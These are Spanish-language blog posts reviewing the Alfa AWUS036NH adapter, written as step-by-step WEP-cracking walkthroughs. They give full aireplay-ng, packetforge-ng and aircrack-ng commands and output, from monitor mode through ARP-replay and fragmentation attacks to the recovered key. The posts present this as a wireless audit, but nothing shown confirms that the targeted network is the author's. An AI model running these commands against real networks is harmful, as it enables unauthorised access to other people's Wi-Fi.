wifiway ~ # aireplay-ng -e 2WIRE6743 -b 00:18:3F:18:85:C9 -h 00:c0:ca:4a:82:97 -3 mon0

wifiway ~ # aircrack-ng captura-01.cap
Vídeo Online
http://www.youtube.com/watch?v=hejKstjzCNA

Inyección de Trafico Wireless con el Alfa AWUS036NH 2000MW en Wifiway 2.0.1
http://delfirosales.blogspot.com/2011/03/alfa-2w-awus036nh-en-wifiway-201-paso.html

Alfa 2W (AWUS036NH) en Wifiway 2.0.1 (Paso a Paso)

El alfa 2W (AWUS036NH) es soportado en la nueva versión de Wifiway 2.0.1, al conectarla automáticamente la reconoce, y soporta modo monitor. En este post se muestra paso a paso el proceso de como realizar una auditoria wifi con el Alfa AWUS036NH 2000MW.

Estos pasos los realice desde VMware, donde tengo instalado Wifiway 2.0.1. Para ver como es el proceso de instalación de Wifiway 2.0.1 en VMware, lo pueden ver en este post.
Lo primero que aremos es poner un iwconfig en consola, para ver si Wifiway reconoce nuestra alfa 2W, tal como se muestra a continuación.
wifiway ~ # iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11bgn  ESSID:off/any
         Mode:Managed  Access Point: Not-Associated   Tx-Power=7 dBm
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:on
Como podemos, Wifiway lo reconoce automáticamente. Así que nuestro segundo paso es ponerlo en modo Monitor. El modo monitor es un modo especial que se usa para capturar paquetes wireles 802.11. Para esto iniciamos el script airmon-ng tal como se muestra a continuación.
wifiway ~ # airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
3375    dhcpcd
Process with PID 3304 (dhcpcd) is running on interface wlan0

Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy0]
                       (monitor mode enabled on mon0)
wifiway ~ #
Una vez que hemos puesto el alfa en modo monitor, podremos lanzar airodump-ng para escanear las redes que están a nuestro alcance para poder elegir un objetivo y centrarnos en una red en concreto.
wifiway ~ # airodump-ng mon0

CH 12 ][ Elapsed: 4 s ][ 2011-02-27 03:32

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

5C:4C:A9:XX:XX:XX  -80        0        0    0  11  54e  WEP  WEP         AGUXX
00:18:3F:XX:XX:XX  -24        4       55   27   6  54 . WEP  WEP         2WIREXXX

BSSID              STATION            PWR   Rate    Lost  Packets  Probes
Una vez elegido el objetivo, lanzamos el siguiente comando para decirle a airodump-ng que escuche con nuestro dispositivo USB (mon0) en el canal (6) donde esta trasmitiendo el punto de acceso (00:18:3F:XX:XX:XX).
wifiway ~ # airodump-ng --bssid 00:18:3F:XX:XX:XX -c 6 -w captura mon0
Con el parámetro --bssid indicamos la dirección MAC del punto de acceso, -c indicamos el numero de canal y el parámetro -w ponemos el nombre del archivo donde se guardaran los datos. Hecho lo anterior podremos ver las redes que están en nuestro alcance, tal como se muestra a continuación.
CH  6 ][ Elapsed: 1 min ][ 2011-02-27 03:35

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:18:3F:XX:XX:XX  -24  94      741     2922  368   6  54 . WEP  WEP    OPN  2WIRE6743

BSSID              STATION            PWR   Rate    Lost  Packets  Probes

00:18:3F:XX:XX:XX  00:C0:CA:XX:XX:XX    0    0 - 1     58     6394
00:18:3F:XX:XX:XX  0C:60:76:XX:XX:XX  -14   54 -54      0       5
Ahora lo que haremos es realizar una falsa autenticación con el Punto de Acceso Wifi para que acepte cualquier paquete que le enviemos. Para esto, en consola realizamos lo siguiente.
wifiway ~ # aireplay-ng -e 2WIREXXX -a 00:18:3F:XX:XX:XX -h 00:c0:XX:XX:XX:XX -1 0 mon0
03:34:44  Waiting for beacon frame (BSSID: 00:18:3F:XX:XX:XX) on channel 6

03:34:44  Sending Authentication Request (Open System) [ACK]
03:34:44  Authentication successful
03:34:44  Sending Association Request [ACK]
03:34:44  Association successful :-) (AID: 1)
Tal como podemos ver, nos hemos asociado correctamente. Ahora, como nuestra alfa AWUS036NH 2000MW si que soporta la inyección de paquetes, lanzamos el ataque 3 (ARP-request reinjection) de aireplay-ng para aumentar la velocidad de captura de los IVs (vectores de inicialización).

Lo que sucede en este paso es, que areplay-ng escucha hasta encontrar un paquete ARP y cuando encuentra este paquete lo que hace es retransmitirlo hacia el punto de acceso, esto provoca que el AP tenga que repetir el paquete ARP con un IV nuevo y al retransmitir y retransmitir los paquetes ARP tendremos mas IVs que nos permitirán averiguar la clave WEP.
wifiway ~ # aireplay-ng -e 2WIREXXX -b 00:18:3F:XX:XX:XX -h 00:c0:ca:XX:XX:XX -3 mon0
03:34:54  Waiting for beacon frame (BSSID: 00:18:XX:XX:XX:XX) on channel 6
Saving ARP requests in replay_arp-0227-033454.cap
You should also start airodump-ng to capture replies.
Read 6930 packets (got 1968 ARP requests and 1963 ACKs), sent 1989 packets...(499 pps)
Ahora solo toca esperar a que tengamos suficientes paquetes de datos (#Data) para ejecutar aircrack-ng para crackear la Clave WEP.

Una vez que ya tengamos suficientes "datas" ejecutamos aircrack-ng para crackear la clave WEP. Abrimos consola y ejecutar aircrack-ng con el nombre del archivo guardado, en este caso es captura-01.cap
wifiway ~ # aircrack-ng captura-01.cap
Opening captura-01.cap
Read 114810 packets.

#  BSSID              ESSID                     Encryption

1  00:18:3F:XX:XX:XX  2WIREXXX                 WEP (25944 IVs)

Choosing first network as target.

Opening captura-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 26149 ivs.

                            Aircrack-ng 1.1 r1734


            [00:00:00] Tested 8 keys (got 25979 IVs)

KB    depth   byte(vote)
0    2/  4   5E(32768) 76(31488) D1(31488) 1C(31232) ED(31232) 58(30976)
1    0/  1   02(35072) 7A(33024) E0(32768) 5B(32512) 8E(32256) 92(31488)
2    0/  1   95(36864) BC(33280) 0E(32256) DB(32000) 54(31488) 5F(31488)
3    0/  1   92(38656) 1E(34816) 8C(33280) C5(32512) 44(32256) DE(32256)
4    0/  2   80(35328) 3E(34048) 84(32512) 54(32256) EB(32256) 8F(30976)

                KEY FOUND! [ 76:02:95:92:80 ]
Decrypted correctly: 100%
Happy hacking wireless con el alfa AWUS036NH 2000MW...
Este vídeo muestra como auditar con el alfa 2W AWUS036NH utilizando BackTrack 4 R2, soporta diferentes tipos de ataque, el ataque chopchop, el ataque de fragmentación y en cuanto a inyección de trafico es excelente. Mi idea era utilizarlo solo para conectarme al router, ya que la mayoría de las personas que la poseían mencionaban que no soportaba modo monitor, soportaba con una live cd llamada beini. Pero como muestro en el video, BackTrack 4 R2 la reconoce automáticamente y si que soporta modo monitor, sin instalar ninguna parche o driver adicional.

En el vídeo se muestra el ataque de fragmentación (5), mostrado tambien en el post anterior.

Vídeo Online
http://www.youtube.com/watch?v=bpnKF1XBr1g

Ataque de Fragmentación con Alfa 2000mw (AWUS036NH)
http://delfirosales.blogspot.com/2011/02/alfa-2w-modo-monitor-awus036nh.html

Alfa 2w Modo Monitor (AWUS036NH - rt2800usb)

El alfa 2000mw soporta modo monitor en BackTrack 4 r2 sin instalar nada de nada, automáticamente la reconoce con el driver rt2800usb. El alfa 2w me llego ayer mismo, lo primero que hice es averiguar si soportaba modo monitor y como podrán ver en este post, si que soporta. En cuanto a inyección es brutal!!, arriba de los 500 datas por segundo.
root@bt:~# airmon-ng

Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy0]

root@bt:~#
Iniciamos airmon-ng
root@bt:~# airmon-ng start wlan0

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
6179    dhclient
6179    dhclient

Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy0]
                        (monitor mode enabled on mon0)

root@bt:~#
Ahora lo tenemos en modo monitor, listo para empezar auditar!!
root@bt:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11bgn  ESSID:off/any
    Mode:Managed  Access Point: Not-Associated   Tx-Power=7 dBm
    Retry  long limit:7   RTS thr:off   Fragment thr:off
    Encryption key:off
    Power Management:on

mon0      IEEE 802.11bgn  Mode:Monitor  Tx-Power=7 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

root@bt:~#
Iniciamos airodump-ng para mirar un objetivo.
 CH  6 ][ Elapsed: 4 s ][ 2011-02-26 13:16

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

5C:4C:A9:XX:XX:XX   33        3        0    0  11  54e  WEP  WEP         GUSAB
5C:4C:A9:XX:XX:XX   33        4        0    0   1  54e  WEP  WEP         INFINITUMcb9
00:18:3F:XX:XX:XX    6        5        0    0   6  54 . WEP  WEP         2WIRE6743

BSSID              STATION            PWR   Rate    Lost  Packets  Probes
Una vez escogido el objetivo, lanzamos airodump-ng.
root@bt:~# airodump-ng --bssid 00:18:3F:XX:XX:XX -c 6 -w captura mon0
Lanzado airodump-ng, ahora toca asociarnos con el objetivo.
root@bt:~# aireplay-ng -e 2WIRE6743 -a 00:18:3F:XX:XX:XX -h 00:C0:CA:XX:XX:XX -1 0 mon0
13:19:11  Waiting for beacon frame (BSSID: 00:18:3F:XX:XX:XX) on channel 6

13:19:11  Sending Authentication Request (Open System) [ACK]
13:19:11  Authentication successful
13:19:11  Sending Association Request [ACK]
13:19:11  Association successful :-) (AID: 1)
Como puede ver, con el alfa 2w asocio a la primera y eso que el router estaba muy distante y con muchos obstáculos. Ahora solo lanzamos cualquier ataque con el areplay-ng, en mi caso lance el ataque de fragmentación (ataque 5).
root@bt:~# aireplay-ng -5 -b 00:18:3F:XX:XX:XX  -h 00:C0:CA:XX:XX:XX mon0

13:19:20  Waiting for beacon frame (BSSID: 00:18:3F:XX:XX:XX) on channel 6
13:19:20  Waiting for a data packet...

Size: 68, FromDS: 1, ToDS: 0 (WEP)

      BSSID  =  00:18:3F:XX:XX:XX
  Dest. MAC  =  FF:FF:FF:FF:FF:FF
 Source MAC  =  00:18:3F:XX:XX:XX

0x0000:  0842 3a01 ffff ffff ffff 0018 3f18 85c9  .B:.........?...
0x0010:  0018 3f18 85c9 6076 c7c0 3f00 3130 92ea  ..?...`v..?.10..
0x0020:  f56f eb33 e447 71e0 3365 0e61 e8f1 dd2a  .o.3.Gq.3e.a...*
0x0030:  1246 669b bf66 bd76 e9dd 234a b45d 9327  .Ff..f.v..#J.].'
0x0040:  4642 6ad2                                FBj.

Use this packet ? y

Saving chosen packet in replay_src-0226-131920.cap
13:19:22  Data packet found!
13:19:22  Sending fragmented packet
13:19:22  Got RELAYED packet!!
13:19:22  Trying to get 384 bytes of a keystream
13:19:22  Got RELAYED packet!!
13:19:22  Trying to get 1500 bytes of a keystream
13:19:22  Got RELAYED packet!!
Saving keystream in fragment-0226-131922.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
root@bt:~#
Y como pueden ver es totalmente soportado y la inyeccion es brutal!!. Una vez generado el archivo PRGA (del ingles “pseudo random generation algorithm” o algoritmo de generación seudo aleatoria) con extención ".xor", usaremos packetforge-ng para crear un paquete arp. Nuestro objetivo es que el punto de acceso reenvie continuamente el paquete arp inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.
root@bt:~# packetforge-ng -0 -a 00:18:3F:XX:XX:XX -h 00:C0:CA:XX:XX:XX -k 255.255.255.255 -l 255.255.255.255 -y fragment-0226-131922.xor -w ARP
Wrote packet to: ARP
Inyección del paquete ARP con areplay-ng.
root@bt:~# aireplay-ng -2 -r ARP mon0
No source MAC (-h) specified. Using the device MAC (00:C0:CA:XX:XX:XX)

Size: 68, FromDS: 0, ToDS: 1 (WEP)

      BSSID  =  00:18:3F:XX:XX:XX
  Dest. MAC  =  FF:FF:FF:FF:FF:FF
 Source MAC  =  00:C0:CA:XX:XX:XX

0x0000:  0841 0201 0018 3f18 85c9 00c0 ca4a 8297  .A....?......J..
0x0010:  ffff ffff ffff 8001 c7c0 4300 1018 b7e1  ..........C.....
0x0020:  6cde c857 5ad1 d077 a046 b99e 35b7 98fa  l..WZ..w.F..5...
0x0030:  5f01 7c1c 5afb 7836 bc01 eaa3 f9f8 b69e  _.|.Z.x6........
0x0040:  02ca b6ee                                ....

Use this packet ? y

Saving chosen packet in replay_src-0226-131938.cap
You should also start airodump-ng to capture replies.
En el anterior paso habrán bien los ojos! y miren como inyecta el alfa 2000mw. Por ultimo lanzamos aircrack-ng para obtener la clave WEP.
root@bt:~# aircrack-ng captura-01.cap
Opening captura-01.cap
Read 106515 packets.

#  BSSID              ESSID                     Encryption

1  00:18:3F:XX:XX:XX  2WIRE6743                 WEP (32632 IVs)

Choosing first network as target.

Opening captura-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 32822 ivs.

                         Aircrack-ng 1.1 r1738


         [00:00:00] Tested 258 keys (got 32812 IVs)

KB    depth   byte(vote)
0   30/ 33   92(36096) 62(35840) 76(35840) 84(35840) BC(35840)
1    0/  1   02(47616) 6A(41216) E8(40704) 03(40192) D3(40192)
2    0/  4   95(44544) 9A(42496) 44(39936) 31(39680) 15(38912)
3    0/  2   92(45568) F4(40704) 05(40448) 86(40448) 35(39424)
4    0/  1   80(48896) 1E(40192) 7A(39936) 16(39424) 94(39424)

                 KEY FOUND! [ 76:02:95:92:80 ]
Decrypted correctly: 100%

root@bt:~#
Sin duda me sorprendi, ya que antes de comprar el alfa, donde quiera habia leido que no servia para auditoria, pero ya ven si que sirve. Ha sido mi mejor adquisicion, para mi es la mejor de todas, tengo otros tres dipositivos USB, el WifiSky, el Kasens G5000 y el dragon FL-2016G pero sin duda puedo decir que barre con las tres!

Saludos y ahora que me entreguen mi camara lestomare unas fotitos para compartirlo con todos y platicarles el precio y los detalles de esta nueva adquisición.

Update:
Por cierto ya estan las primeras imagenes de BackTrack 5 !!!